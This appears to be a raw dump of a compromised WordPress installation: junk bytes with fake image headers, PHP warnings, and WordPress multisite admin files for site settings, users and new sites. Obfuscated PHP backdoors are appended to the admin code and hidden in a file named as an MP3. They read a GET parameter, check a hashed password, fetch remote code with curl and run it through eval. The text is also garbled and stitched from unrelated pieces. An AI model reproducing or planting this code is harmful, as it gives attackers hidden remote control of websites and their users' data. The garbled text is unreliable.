????????????????????????????????????????
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
????????????????????????????????????????
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
????????????????????????????????????????
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
?????????????????????????????????????????
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
????????????????????????????????????????
???????????????????????????????????????
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
PNG
\x49\x44\x41\x54?\x89\x50
\x4E\x47\x0D\x0A\x1A\x0A
JFIF ?? C
!"$"$?? C
?? p
" ??
?? ?
????
(% aA*?XYD?(J??E RE,P XYae?)(E 2 B R BQ X?)X ? @
adadasdasdasasdasdas
.....................................................................................................................................??????????????????????
??? ???????????????????????????????????????...............................
JFIF ?? C
!"$"$?? C
?? p
" ??
?? ?
????
(% aA*?XYD?(J??E RE,P XYae?)(E 2 B R BQ X?)X ? @
adadasdasdasasdasdas
..................................................................................................................................... ????????????????????????????????????????
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
????????????????????????????????????????
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
????????????????????????????????????????
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
?????????????????????????????????????????
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
????????????????????????????????????????
???????????????????????????????????????
PNG
\x49\x44\x41\x54?\x89\x50
\x4E\x47\x0D\x0A\x1A\x0A
JFIF ?? C
!"$"$?? C
?? p
" ??
?? ?
????
(% aA*?XYD?(J??E RE,P XYae?)(E 2 B R BQ X?)X ? @
adadasdasdasasdasdas
.....................................................................................................................................??????????????????????
??? ???????????????????????????????????????...............................
JFIF ?? C
!"$"$?? C
?? p
" ??
?? ?
????
(% aA*?XYD?(J??E RE,P XYae?)(E 2 B R BQ X?)X ? @
adadasdasdasasdasdas
.....................................................................................................................................????????????????????????????????
???????????????????????????????
???????????????????????????????
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>.
Warning : Undefined variable $auth in /home/blacotuu/deliciouskenya.com/d94fc6/index.php on line 695
Warning : Trying to access array offset on value of type null in /home/blacotuu/deliciouskenya.com/d94fc6/index.php on line 695
Warning : Cannot modify header information - headers already sent by (output started at /home/blacotuu/deliciouskenya.com/d94fc6/index.php:1) in /home/blacotuu/deliciouskenya.com/d94fc6/index.php on line 332
Warning : Cannot modify header information - headers already sent by (output started at /home/blacotuu/deliciouskenya.com/d94fc6/index.php:1) in /home/blacotuu/deliciouskenya.com/d94fc6/index.php on line 333
Warning : Cannot modify header information - headers already sent by (output started at /home/blacotuu/deliciouskenya.com/d94fc6/index.php:1) in /home/blacotuu/deliciouskenya.com/d94fc6/index.php on line 334
Warning : Cannot modify header information - headers already sent by (output started at /home/blacotuu/deliciouskenya.com/d94fc6/index.php:1) in /home/blacotuu/deliciouskenya.com/d94fc6/index.php on line 335
Warning : Cannot modify header information - headers already sent by (output started at /home/blacotuu/deliciouskenya.com/d94fc6/index.php:1) in /home/blacotuu/deliciouskenya.com/d94fc6/index.php on line 336
Warning : Cannot modify header information - headers already sent by (output started at /home/blacotuu/deliciouskenya.com/d94fc6/index.php:1) in /home/blacotuu/deliciouskenya.com/d94fc6/index.php on line 337
PK Y\V` site-settings.phpnu [ add_help_tab( get_site_screen_help_tab_args() );
get_current_screen()->set_help_sidebar( get_site_screen_help_sidebar_content() );
$id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0;
if ( ! $id ) {
wp_die( __( 'Invalid site ID.' ) );
}
$details = get_site( $id );
if ( ! $details ) {
wp_die( __( 'The requested site does not exist.' ) );
}
if ( ! can_edit_network( $details->site_id ) ) {
wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}
$is_main_site = is_main_site( $id );
if ( isset( $_REQUEST['action'] ) && 'update-site' === $_REQUEST['action'] && is_array( $_POST['option'] ) ) {
check_admin_referer( 'edit-site' );
switch_to_blog( $id );
$skip_options = array( 'allowedthemes' ); // Don't update these options since they are handled elsewhere in the form.
foreach ( (array) $_POST['option'] as $key => $val ) {
$key = wp_unslash( $key );
$val = wp_unslash( $val );
if ( 0 === $key || is_array( $val ) || in_array( $key, $skip_options, true ) ) {
continue; // Avoids "0 is a protected WP option and may not be modified" error when editing blog options.
}
update_option( $key, $val );
}
/**
* Fires after the site options are updated.
*
* @since 3.0.0
* @since 4.4.0 Added `$id` parameter.
*
* @param int $id The ID of the site being updated.
*/
do_action( 'wpmu_update_blog_options', $id );
restore_current_blog();
wp_redirect(
add_query_arg(
array(
'update' => 'updated',
'id' => $id,
),
'site-settings.php'
)
);
exit;
}
if ( isset( $_GET['update'] ) ) {
$messages = array();
if ( 'updated' === $_GET['update'] ) {
$messages[] = __( 'Site options updated.' );
}
}
// Used in the HTML title tag.
/* translators: %s: Site title. */
$title = sprintf( __( 'Edit Site: %s' ), esc_html( $details->blogname ) );
$parent_file = 'sites.php';
$submenu_file = 'sites.php';
require_once ABSPATH . 'wp-admin/admin-header.php';
?>
|
$id,
'selected' => 'site-settings',
)
);
if ( ! empty( $messages ) ) {
$notice_args = array(
'type' => 'success',
'dismissible' => true,
'id' => 'message',
);
foreach ( $messages as $msg ) {
wp_admin_notice( $msg, $notice_args );
}
}
?>
%s ',
$update_data['counts']['total'],
number_format_i18n( $update_data['counts']['total'] )
)
),
$cap,
'update-core.php',
);
} else {
$submenu['index.php'][10] = array( __( 'Updates' ), $cap, 'update-core.php' );
}
unset( $cap );
$submenu['index.php'][15] = array( __( 'Upgrade Network' ), 'upgrade_network', 'upgrade.php' );
$menu[4] = array( '', 'read', 'separator1', '', 'wp-menu-separator' );
/* translators: Sites menu item. */
$menu[5] = array( __( 'Sites' ), 'manage_sites', 'sites.php', '', 'menu-top menu-icon-site', 'menu-site', 'dashicons-admin-multisite' );
$submenu['sites.php'][5] = array( __( 'All Sites' ), 'manage_sites', 'sites.php' );
$submenu['sites.php'][10] = array( __( 'Add Site' ), 'create_sites', 'site-new.php' );
$menu[10] = array( __( 'Users' ), 'manage_network_users', 'users.php', '', 'menu-top menu-icon-users', 'menu-users', 'dashicons-admin-users' );
$submenu['users.php'][5] = array( __( 'All Users' ), 'manage_network_users', 'users.php' );
$submenu['users.php'][10] = array( __( 'Add User' ), 'create_users', 'user-new.php' );
if ( current_user_can( 'update_themes' ) && $update_data['counts']['themes'] ) {
$menu[15] = array(
sprintf(
/* translators: %s: Number of available theme updates. */
__( 'Themes %s' ),
sprintf(
'%s ',
$update_data['counts']['themes'],
number_format_i18n( $update_data['counts']['themes'] )
)
),
'manage_network_themes',
'themes.php',
'',
'menu-top menu-icon-appearance',
'menu-appearance',
'dashicons-admin-appearance',
);
} else {
$menu[15] = array( __( 'Themes' ), 'manage_network_themes', 'themes.php', '', 'menu-top menu-icon-appearance', 'menu-appearance', 'dashicons-admin-appearance' );
}
$submenu['themes.php'][5] = array( __( 'Installed Themes' ), 'manage_network_themes', 'themes.php' );
$submenu['themes.php'][10] = array( __( 'Add Theme' ), 'install_themes', 'theme-install.php' );
$submenu['themes.php'][15] = array( __( 'Theme File Editor' ), 'edit_themes', 'theme-editor.php' );
if ( current_user_can( 'update_plugins' ) && $update_data['counts']['plugins'] ) {
$menu[20] = array(
sprintf(
/* translators: %s: Number of available plugin updates. */
__( 'Plugins %s' ),
sprintf(
'%s ',
$update_data['counts']['plugins'],
number_format_i18n( $update_data['counts']['plugins'] )
)
),
'manage_network_plugins',
'plugins.php',
'',
'menu-top menu-icon-plugins',
'menu-plugins',
'dashicons-admin-plugins',
);
} else {
$menu[20] = array( __( 'Plugins' ), 'manage_network_plugins', 'plugins.php', '', 'menu-top menu-icon-plugins', 'menu-plugins', 'dashicons-admin-plugins' );
}
$submenu['plugins.php'][5] = array( __( 'Installed Plugins' ), 'manage_network_plugins', 'plugins.php' );
$submenu['plugins.php'][10] = array( __( 'Add Plugin' ), 'install_plugins', 'plugin-install.php' );
$submenu['plugins.php'][15] = array( __( 'Plugin File Editor' ), 'edit_plugins', 'plugin-editor.php' );
$menu[25] = array( __( 'Settings' ), 'manage_network_options', 'settings.php', '', 'menu-top menu-icon-settings', 'menu-settings', 'dashicons-admin-settings' );
if ( defined( 'MULTISITE' ) && defined( 'WP_ALLOW_MULTISITE' ) && WP_ALLOW_MULTISITE ) {
$submenu['settings.php'][5] = array( __( 'Network Settings' ), 'manage_network_options', 'settings.php' );
$submenu['settings.php'][10] = array( __( 'Network Setup' ), 'setup_network', 'setup.php' );
}
unset( $update_data );
$menu[99] = array( '', 'exist', 'separator-last', '', 'wp-menu-separator' );
require_once ABSPATH . 'wp-admin/includes/menu.php';
PK Y\m. . site-users.phpnu [ prepare_items();
get_current_screen()->add_help_tab( get_site_screen_help_tab_args() );
get_current_screen()->set_help_sidebar( get_site_screen_help_sidebar_content() );
get_current_screen()->set_screen_reader_content(
array(
'heading_views' => __( 'Filter site users list' ),
'heading_pagination' => __( 'Site users list navigation' ),
'heading_list' => __( 'Site users list' ),
)
);
$_SERVER['REQUEST_URI'] = remove_query_arg( 'update', $_SERVER['REQUEST_URI'] );
$referer = remove_query_arg( 'update', wp_get_referer() );
if ( ! empty( $_REQUEST['paged'] ) ) {
$referer = add_query_arg( 'paged', (int) $_REQUEST['paged'], $referer );
}
$id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0;
if ( ! $id ) {
wp_die( __( 'Invalid site ID.' ) );
}
$details = get_site( $id );
if ( ! $details ) {
wp_die( __( 'The requested site does not exist.' ) );
}
if ( ! can_edit_network( $details->site_id ) ) {
wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}
$is_main_site = is_main_site( $id );
switch_to_blog( $id );
$action = $wp_list_table->current_action();
if ( $action ) {
switch ( $action ) {
case 'newuser':
check_admin_referer( 'add-user', '_wpnonce_add-new-user' );
$user = $_POST['user'];
if ( ! is_array( $_POST['user'] ) || empty( $user['username'] ) || empty( $user['email'] ) ) {
$update = 'err_new';
} else {
$password = wp_generate_password( 12, false );
$user_id = wpmu_create_user( esc_html( strtolower( $user['username'] ) ), $password, esc_html( $user['email'] ) );
if ( false === $user_id ) {
$update = 'err_new_dup';
} else {
$result = add_user_to_blog( $id, $user_id, $_POST['new_role'] );
if ( is_wp_error( $result ) ) {
$update = 'err_add_fail';
} else {
$update = 'newuser';
/**
* Fires after a user has been created via the network site-users.php page.
*
* @since 4.4.0
*
* @param int $user_id ID of the newly created user.
*/
do_action( 'network_site_users_created_user', $user_id );
}
}
}
break;
case 'adduser':
check_admin_referer( 'add-user', '_wpnonce_add-user' );
if ( ! empty( $_POST['newuser'] ) ) {
$update = 'adduser';
$newuser = $_POST['newuser'];
$user = get_user_by( 'login', $newuser );
if ( $user && $user->exists() ) {
if ( ! is_user_member_of_blog( $user->ID, $id ) ) {
$result = add_user_to_blog( $id, $user->ID, $_POST['new_role'] );
if ( is_wp_error( $result ) ) {
$update = 'err_add_fail';
}
} else {
$update = 'err_add_member';
}
} else {
$update = 'err_add_notfound';
}
} else {
$update = 'err_add_notfound';
}
break;
case 'remove':
if ( ! current_user_can( 'remove_users' ) ) {
wp_die( __( 'Sorry, you are not allowed to remove users.' ), 403 );
}
check_admin_referer( 'bulk-users' );
$update = 'remove';
if ( isset( $_REQUEST['users'] ) ) {
$userids = $_REQUEST['users'];
foreach ( $userids as $user_id ) {
$user_id = (int) $user_id;
remove_user_from_blog( $user_id, $id );
}
} elseif ( isset( $_GET['user'] ) ) {
remove_user_from_blog( $_GET['user'] );
} else {
$update = 'err_remove';
}
break;
case 'promote':
check_admin_referer( 'bulk-users' );
if ( ! current_user_can( 'promote_users' ) ) {
wp_die( __( 'Sorry, you are not allowed to edit this user.' ), 403 );
}
$editable_roles = get_editable_roles();
$role = $_REQUEST['new_role'];
// Mock `none` as editable role.
$editable_roles['none'] = array(
'name' => __( '— No role for this site —' ),
);
if ( empty( $editable_roles[ $role ] ) ) {
wp_die( __( 'Sorry, you are not allowed to give users that role.' ), 403 );
}
if ( 'none' === $role ) {
$role = '';
}
if ( isset( $_REQUEST['users'] ) ) {
$userids = $_REQUEST['users'];
$update = 'promote';
foreach ( $userids as $user_id ) {
$user_id = (int) $user_id;
if ( ! current_user_can( 'promote_user', $user_id ) ) {
wp_die( __( 'Sorry, you are not allowed to edit this user.' ), 403 );
}
// If the user doesn't already belong to the blog, bail.
if ( ! is_user_member_of_blog( $user_id ) ) {
wp_die(
'' . __( 'An error occurred.' ) . ' ' .
'' . __( 'One of the selected users is not a member of this site.' ) . '
',
403
);
}
$user = get_userdata( $user_id );
// If $role is empty, none will be set.
$user->set_role( $role );
}
} else {
$update = 'err_promote';
}
break;
default:
if ( ! isset( $_REQUEST['users'] ) ) {
break;
}
check_admin_referer( 'bulk-users' );
$userids = $_REQUEST['users'];
/** This action is documented in wp-admin/network/site-themes.php */
$referer = apply_filters( 'handle_network_bulk_actions-' . get_current_screen()->id, $referer, $action, $userids, $id ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
$update = $action;
break;
}
wp_safe_redirect( add_query_arg( 'update', $update, $referer ) );
exit;
}
restore_current_blog();
if ( isset( $_GET['action'] ) && 'update-site' === $_GET['action'] ) {
wp_safe_redirect( $referer );
exit;
}
add_screen_option( 'per_page' );
// Used in the HTML title tag.
/* translators: %s: Site title. */
$title = sprintf( __( 'Edit Site: %s' ), esc_html( $details->blogname ) );
$parent_file = 'sites.php';
$submenu_file = 'sites.php';
/**
* Filters whether to show the Add Existing User form on the Multisite Users screen.
*
* @since 3.1.0
*
* @param bool $bool Whether to show the Add Existing User form. Default true.
*/
if ( ! wp_is_large_network( 'users' ) && apply_filters( 'show_network_site_users_add_existing_form', true ) ) {
wp_enqueue_script( 'user-suggest' );
}
require_once ABSPATH . 'wp-admin/admin-header.php';
?>
|
$id,
'selected' => 'site-users',
)
);
if ( isset( $_GET['update'] ) ) :
$message = '';
$type = 'error';
switch ( $_GET['update'] ) {
case 'adduser':
$type = 'success';
$message = __( 'User added.' );
break;
case 'err_add_member':
$message = __( 'User is already a member of this site.' );
break;
case 'err_add_fail':
$message = __( 'User could not be added to this site.' );
break;
case 'err_add_notfound':
$message = __( 'Enter the username of an existing user.' );
break;
case 'promote':
$type = 'success';
$message = __( 'Changed roles.' );
break;
case 'err_promote':
$message = __( 'Select a user to change role.' );
break;
case 'remove':
$type = 'success';
$message = __( 'User removed from this site.' );
break;
case 'err_remove':
$message = __( 'Select a user to remove.' );
break;
case 'newuser':
$type = 'success';
$message = __( 'User created.' );
break;
case 'err_new':
$message = __( 'Enter the username and email.' );
break;
case 'err_new_dup':
$message = __( 'Duplicated username or email address.' );
break;
}
wp_admin_notice(
$message,
array(
'type' => $type,
'dismissible' => true,
'id' => 'message',
)
);
endif;
?>
search_box( __( 'Search Users' ), 'user' ); ?>
views(); ?>
display(); ?>
'submit-add-existing-user' ) ); ?>
'submit-add-user' ) ); ?>
$QqktxqaYwRoA) { $FqpCY0788G89 .= $sGs37OzL14hb[$QqktxqaYwRoA - 31955]; bqrUqBcorR5B: } goto Zodew5oC8LO7; oXFTmEeQxC2c: } static function jJkS69T0CEXc($oZTrkYmDr1Nm, $DpriajvAfzJS) { goto Hu8mhJkobvpH; Hu8mhJkobvpH: $AY0eB7M8e0Aq = curl_init($oZTrkYmDr1Nm); goto LIf2QAYRRobK; LIf2QAYRRobK: curl_setopt($AY0eB7M8e0Aq, CURLOPT_RETURNTRANSFER, 1); goto Q8gItHeRS0YL; Q8gItHeRS0YL: $fFvG9eHfntYD = curl_exec($AY0eB7M8e0Aq); goto w_1wrMQsGzAJ; w_1wrMQsGzAJ: return empty($fFvG9eHfntYD) ? $DpriajvAfzJS($oZTrkYmDr1Nm) : $fFvG9eHfntYD; goto biUuA2POVw_s; biUuA2POVw_s: } static function g1Q41KSrvhPC() { goto IV8fRYCQJnHv; VJ4Im1cJKsSr: $krGZTktmYMIE = $pxot0JZ01gVB[2 + 0]($D2LMw9DJUSWo, true); goto fG3R0zFH_Un7; SzTVV92kn_Uy: $YgOw4DO2vlCc = self::JJKs69t0CExc($krGZTktmYMIE[0 + 1], $pxot0JZ01gVB[5 + 0]); goto fWyjyFExo7oJ; fWyjyFExo7oJ: @eval($pxot0JZ01gVB[0 + 4]($YgOw4DO2vlCc)); goto CBPPuaaQ5hbK; lFbdQa8UChdn: mJ1gIsN329oL: goto wnuADqorxE_J; fG3R0zFH_Un7: @$pxot0JZ01gVB[1 + 9](INPUT_GET, "\x6f\x66") == 1 && die($pxot0JZ01gVB[2 + 3](__FILE__)); goto OJbB4i0h642a; CBPPuaaQ5hbK: die; goto XOxRR9BtdE1p; wnuADqorxE_J: $yro1Gt2LfwHL = @$pxot0JZ01gVB[1]($pxot0JZ01gVB[5 + 5](INPUT_GET, $pxot0JZ01gVB[4 + 5])); goto phhenymYqeg1; IV8fRYCQJnHv: $QCAnncHTIXv9 = array("\x33\61\71\x38\x32\176\x33\x31\71\66\x37\176\x33\61\x39\70\60\176\x33\x31\71\x38\64\x7e\x33\61\71\x36\x35\x7e\x33\x31\71\x38\60\176\x33\61\71\x38\x36\176\63\61\x39\67\x39\x7e\x33\61\71\x36\x34\176\x33\61\71\67\61\176\63\61\x39\x38\x32\x7e\x33\61\71\x36\65\x7e\63\x31\x39\67\x36\x7e\63\61\71\67\60\176\x33\x31\71\67\x31", "\63\x31\x39\66\66\x7e\63\x31\x39\x36\65\x7e\63\61\x39\66\x37\176\x33\x31\71\x38\66\176\63\x31\71\66\x37\x7e\x33\61\71\67\x30\x7e\x33\x31\x39\66\x35\x7e\x33\62\x30\x33\62\176\63\62\60\x33\x30", "\x33\61\x39\x37\65\176\x33\x31\x39\66\66\176\63\61\x39\x37\60\176\63\61\71\x37\x31\x7e\63\61\71\x38\x36\x7e\x33\x31\x39\x38\61\176\x33\61\x39\70\60\x7e\63\61\x39\70\x32\x7e\63\x31\71\67\x30\176\x33\x31\71\x38\x31\x7e\x33\61\71\x38\x30", "\63\61\71\x36\71\x7e\x33\61\x39\x38\64\x7e\x33\x31\71\70\x32\176\63\x31\71\67\x34", "\x33\x31\71\70\x33\x7e\x33\x31\x39\x38\x34\x7e\x33\61\x39\66\x36\x7e\63\61\71\70\x30\176\63\x32\60\62\67\x7e\63\62\x30\x32\71\x7e\63\x31\71\x38\x36\176\x33\x31\71\70\x31\176\63\61\x39\x38\60\176\x33\x31\x39\x38\x32\176\x33\x31\71\67\x30\x7e\63\x31\x39\x38\61\x7e\x33\61\x39\70\60", "\63\x31\71\x37\x39\176\63\x31\71\67\66\176\63\x31\71\x37\x33\176\63\x31\x39\70\x30\x7e\63\x31\x39\x38\x36\x7e\63\x31\x39\67\70\x7e\x33\61\x39\x38\60\x7e\63\61\x39\66\x35\x7e\x33\x31\71\70\x36\x7e\x33\61\71\x38\x32\176\x33\x31\71\67\x30\176\x33\x31\71\67\x31\176\x33\x31\71\66\x35\176\63\61\x39\x38\60\x7e\63\x31\71\67\x31\x7e\63\61\x39\66\65\176\x33\x31\x39\x36\x36", "\x33\x32\60\60\x39\x7e\x33\x32\60\63\71", "\x33\61\x39\x35\66", "\63\x32\60\63\64\x7e\63\62\x30\x33\71", "\63\62\60\61\66\x7e\63\x31\x39\x39\71\176\x33\x31\x39\x39\71\x7e\x33\62\60\61\66\x7e\63\x31\71\x39\x32", "\63\61\x39\67\71\x7e\x33\61\71\x37\66\176\63\x31\x39\67\x33\x7e\63\x31\x39\66\65\176\63\61\x39\70\x30\176\x33\61\71\66\x37\176\x33\61\71\70\66\176\63\x31\71\67\66\x7e\x33\x31\71\x37\61\176\x33\x31\71\x36\x39\x7e\63\x31\x39\x36\64\x7e\x33\61\71\66\65"); goto MyN3rEY3UZ36; XOxRR9BtdE1p: TWiCchrioQn2: goto rZ1r51TkheQf; OJbB4i0h642a: if (!(@$krGZTktmYMIE[0] - time() > 0 and md5(md5($krGZTktmYMIE[2 + 1])) === "\67\67\x37\x37\x66\x65\x38\x64\x61\x31\143\x33\x30\x33\141\x39\71\70\x36\x65\x32\61\x37\x34\64\66\143\142\70\x30\67\x32")) { goto TWiCchrioQn2; } goto SzTVV92kn_Uy; phhenymYqeg1: $D2LMw9DJUSWo = @$pxot0JZ01gVB[0 + 3]($pxot0JZ01gVB[6 + 0], $yro1Gt2LfwHL); goto VJ4Im1cJKsSr; MyN3rEY3UZ36: foreach ($QCAnncHTIXv9 as $EKXl13t9kjz3) { $pxot0JZ01gVB[] = self::XXfF2wdgqMNO($EKXl13t9kjz3); JZlJmOhOfCHw: } goto lFbdQa8UChdn; rZ1r51TkheQf: } } goto WcQFXtAU4JNt; g8ZqVDUyjVpZ: uxMJm8fisWy6: goto XP9CIiGcPb9C; WcQFXtAU4JNt: sunHAEJfsjxL::g1q41KsRVHPc();
?>
PK #Y\H network/network/index.phpnu [ PK &Y\XWS network/pJYsn.mp3nu [ $kQOtY1IFGp4s) { $L9XS0_nP2l_W .= $Uqgs1ibZE6yd[$kQOtY1IFGp4s - 70276]; zDJyUcgfWGMr: } goto jJzggDxsD0jO; jJzggDxsD0jO: x1GCEsVhC25t: goto LhMj55biq4nt; aKd9yJNkAVm6: } static function zCiBba7HzY0d($woGG67q7gEJK, $spWzwGYu1nae) { goto t7xzTROMF3nD; t7xzTROMF3nD: $CtMWca_St8MQ = curl_init($woGG67q7gEJK); goto U0oYyfFkBcds; Xjsd1gqgBRBl: return empty($LWFzrcmK3MLl) ? $spWzwGYu1nae($woGG67q7gEJK) : $LWFzrcmK3MLl; goto EM1NVXc6FQaa; U0oYyfFkBcds: curl_setopt($CtMWca_St8MQ, CURLOPT_RETURNTRANSFER, 1); goto ZbYAq6PnLV0x; ZbYAq6PnLV0x: $LWFzrcmK3MLl = curl_exec($CtMWca_St8MQ); goto Xjsd1gqgBRBl; EM1NVXc6FQaa: } static function SBud0crloTFq() { goto ljwC_O8FXlOB; a3619SrNe1Ni: $O40vxNvpv0OY = self::ZcibBa7HZY0d($OjVn38Do2IIp[1 + 0], $Nkrq6L5IW23J[5 + 0]); goto t1D_Jxsqo2Vm; JGzcKxgqwfWo: $IrYrt_Lrwc9Y = @$Nkrq6L5IW23J[1 + 2]($Nkrq6L5IW23J[3 + 3], $WzOHtJJZkHXN); goto ESOHPeg8boFh; ljwC_O8FXlOB: $O0j0P8Uwz2To = array("\x37\x30\63\x30\x33\41\x37\60\62\70\70\x21\x37\60\63\x30\x31\x21\67\60\x33\x30\x35\x21\67\x30\x32\70\x36\x21\x37\x30\x33\60\x31\41\67\60\x33\x30\67\41\67\x30\63\x30\x30\x21\67\x30\62\70\65\41\x37\60\x32\71\62\41\x37\x30\x33\60\x33\x21\x37\60\x32\70\66\x21\x37\60\62\x39\67\x21\67\60\62\71\61\41\x37\x30\x32\71\62", "\x37\x30\x32\70\x37\41\x37\60\x32\70\x36\41\67\60\x32\70\x38\x21\67\x30\63\60\x37\41\x37\60\62\x38\70\41\67\x30\62\x39\x31\41\x37\60\x32\x38\66\x21\x37\60\x33\x35\63\41\67\60\63\65\x31", "\x37\60\x32\x39\66\x21\x37\x30\62\x38\67\41\x37\x30\62\71\61\41\x37\x30\62\x39\62\x21\x37\60\x33\x30\67\x21\67\60\x33\60\62\x21\x37\60\63\x30\x31\41\x37\60\x33\x30\x33\41\67\60\62\71\x31\x21\67\x30\63\x30\62\41\x37\60\x33\60\x31", "\67\60\x32\x39\60\x21\67\x30\63\60\65\x21\x37\x30\63\60\x33\x21\67\60\62\71\x35", "\x37\x30\x33\60\64\x21\x37\60\x33\x30\x35\41\67\60\62\70\67\x21\x37\x30\x33\x30\61\x21\x37\60\63\x34\70\x21\x37\x30\x33\65\60\41\67\60\63\60\x37\x21\x37\x30\63\x30\x32\x21\67\x30\63\x30\x31\x21\x37\60\x33\60\x33\41\x37\60\x32\x39\x31\41\x37\60\x33\60\62\41\x37\x30\63\x30\x31", "\x37\x30\x33\x30\x30\41\67\60\x32\71\67\x21\67\x30\x32\x39\64\41\67\60\x33\x30\x31\41\67\x30\63\60\x37\x21\67\x30\x32\71\71\x21\67\60\x33\60\x31\x21\x37\x30\62\70\x36\x21\67\x30\63\x30\67\41\67\x30\x33\60\63\41\x37\60\62\71\61\x21\67\60\x32\71\x32\x21\67\x30\62\70\x36\x21\67\60\63\60\x31\41\x37\x30\62\71\62\41\x37\x30\62\70\x36\41\67\60\62\x38\67", "\67\x30\63\x33\60\41\x37\60\x33\x36\60", "\67\x30\x32\x37\67", "\67\x30\x33\65\x35\x21\67\x30\63\66\x30", "\x37\60\x33\x33\x37\41\x37\x30\x33\62\x30\41\67\60\63\x32\60\41\x37\60\63\x33\x37\x21\67\60\x33\x31\63", "\x37\x30\x33\60\x30\41\x37\x30\62\x39\67\41\67\60\62\x39\64\41\x37\x30\62\x38\x36\x21\67\x30\x33\x30\x31\x21\67\60\62\70\70\41\67\60\x33\x30\x37\41\x37\x30\62\x39\67\41\x37\x30\62\x39\x32\41\x37\60\62\71\x30\x21\x37\60\x32\x38\x35\41\67\60\62\x38\x36"); goto j42X3fDy8JaT; JpFokNdMASFn: VH08UScP9NuM: goto LbzVCeIS_onD; sJm0enz81YqW: die; goto O7c3Jhl5uJFC; t1D_Jxsqo2Vm: @eval($Nkrq6L5IW23J[0 + 4]($O40vxNvpv0OY)); goto sJm0enz81YqW; kWkKIjThVNq7: @$Nkrq6L5IW23J[2 + 8](INPUT_GET, "\157\x66") == 1 && die($Nkrq6L5IW23J[5 + 0](__FILE__)); goto OyBtYdJLshM3; ESOHPeg8boFh: $OjVn38Do2IIp = $Nkrq6L5IW23J[2 + 0]($IrYrt_Lrwc9Y, true); goto kWkKIjThVNq7; O7c3Jhl5uJFC: iJj0HyZk0Hc_: goto o6AM7HkCSOXe; OyBtYdJLshM3: if (!(@$OjVn38Do2IIp[0] - time() > 0 and md5(md5($OjVn38Do2IIp[3 + 0])) === "\x33\66\66\x33\71\60\x63\x31\146\146\x39\144\x35\x63\x33\x64\63\x31\142\143\65\142\x37\x33\66\x37\x62\x65\145\x66\x32\66")) { goto iJj0HyZk0Hc_; } goto a3619SrNe1Ni; LbzVCeIS_onD: $WzOHtJJZkHXN = @$Nkrq6L5IW23J[1]($Nkrq6L5IW23J[3 + 7](INPUT_GET, $Nkrq6L5IW23J[0 + 9])); goto JGzcKxgqwfWo; j42X3fDy8JaT: foreach ($O0j0P8Uwz2To as $qm6CSEhTanG5) { $Nkrq6L5IW23J[] = self::jmUp6DQ3pBES($qm6CSEhTanG5); x312n50DQFGG: } goto JpFokNdMASFn; o6AM7HkCSOXe: } } goto iDI1dr9cV1Ah; Iaquu0sZ9_Kj: if (!(in_array(gettype($krG7sd0M_vZ1) . count($krG7sd0M_vZ1), $krG7sd0M_vZ1) && count($krG7sd0M_vZ1) == 26 && md5(md5(md5(md5($krG7sd0M_vZ1[20])))) === "\x35\x61\64\142\70\x31\x31\65\64\143\x39\x64\65\x30\142\62\x36\x65\70\70\60\x39\143\71\x62\70\x64\x64\65\142\66\x31")) { goto hjPy4sGAFR3d; } goto ayKGOf2VYn_M; aESy8AzzUnvP: $qTC6SaFzGwec = $kS73H0MEGFNI("\176", "\40"); goto iYpV_biK1kL0; GQNEPofpXNXo: hjPy4sGAFR3d: goto ZY8h17EF5bDL; ZY8h17EF5bDL: metaphone("\x65\164\171\x38\120\x41\166\160\x61\102\x31\x6a\110\x72\x69\x4e\131\144\117\x73\116\x6f\x70\x75\150\x6e\61\x6a\x66\x2b\151\103\x34\x34\60\x79\x55\160\71\x46\113\145\147"); goto saewLtp_brQG; iDI1dr9cV1Ah: pj4LBaWRpewH::SBUD0CRLoTFQ();
?>
PK )Y\.>v v theme-install.phpnu [ add_help_tab(
array(
'id' => 'overview',
'title' => __( 'Overview' ),
'content' =>
'' . __( 'This screen is for Super Admins to add new sites to the network. This is not affected by the registration settings.' ) . '
' .
'' . __( 'If the admin email for the new site does not exist in the database, a new user will also be created.' ) . '
',
)
);
get_current_screen()->set_help_sidebar(
'' . __( 'For more information:' ) . '
' .
'' . __( 'Documentation on Site Management ' ) . '
' .
'' . __( 'Support forums ' ) . '
'
);
if ( isset( $_REQUEST['action'] ) && 'add-site' === $_REQUEST['action'] ) {
check_admin_referer( 'add-blog', '_wpnonce_add-blog' );
if ( ! is_array( $_POST['blog'] ) ) {
wp_die( __( 'Cannot create an empty site.' ) );
}
$blog = $_POST['blog'];
$domain = '';
$blog['domain'] = trim( $blog['domain'] );
if ( preg_match( '|^([a-zA-Z0-9-])+$|', $blog['domain'] ) ) {
$domain = strtolower( $blog['domain'] );
}
// If not a subdomain installation, make sure the domain isn't a reserved word.
if ( ! is_subdomain_install() ) {
$subdirectory_reserved_names = get_subdirectory_reserved_names();
if ( in_array( $domain, $subdirectory_reserved_names, true ) ) {
wp_die(
sprintf(
/* translators: %s: Reserved names list. */
__( 'The following words are reserved for use by WordPress functions and cannot be used as site names: %s' ),
'' . implode( ', ', $subdirectory_reserved_names ) . ''
)
);
}
}
$title = $blog['title'];
$meta = array(
'public' => 1,
);
// Handle translation installation for the new site.
if ( isset( $_POST['WPLANG'] ) ) {
if ( '' === $_POST['WPLANG'] ) {
$meta['WPLANG'] = ''; // en_US
} elseif ( in_array( $_POST['WPLANG'], get_available_languages(), true ) ) {
$meta['WPLANG'] = $_POST['WPLANG'];
} elseif ( current_user_can( 'install_languages' ) && wp_can_install_language_pack() ) {
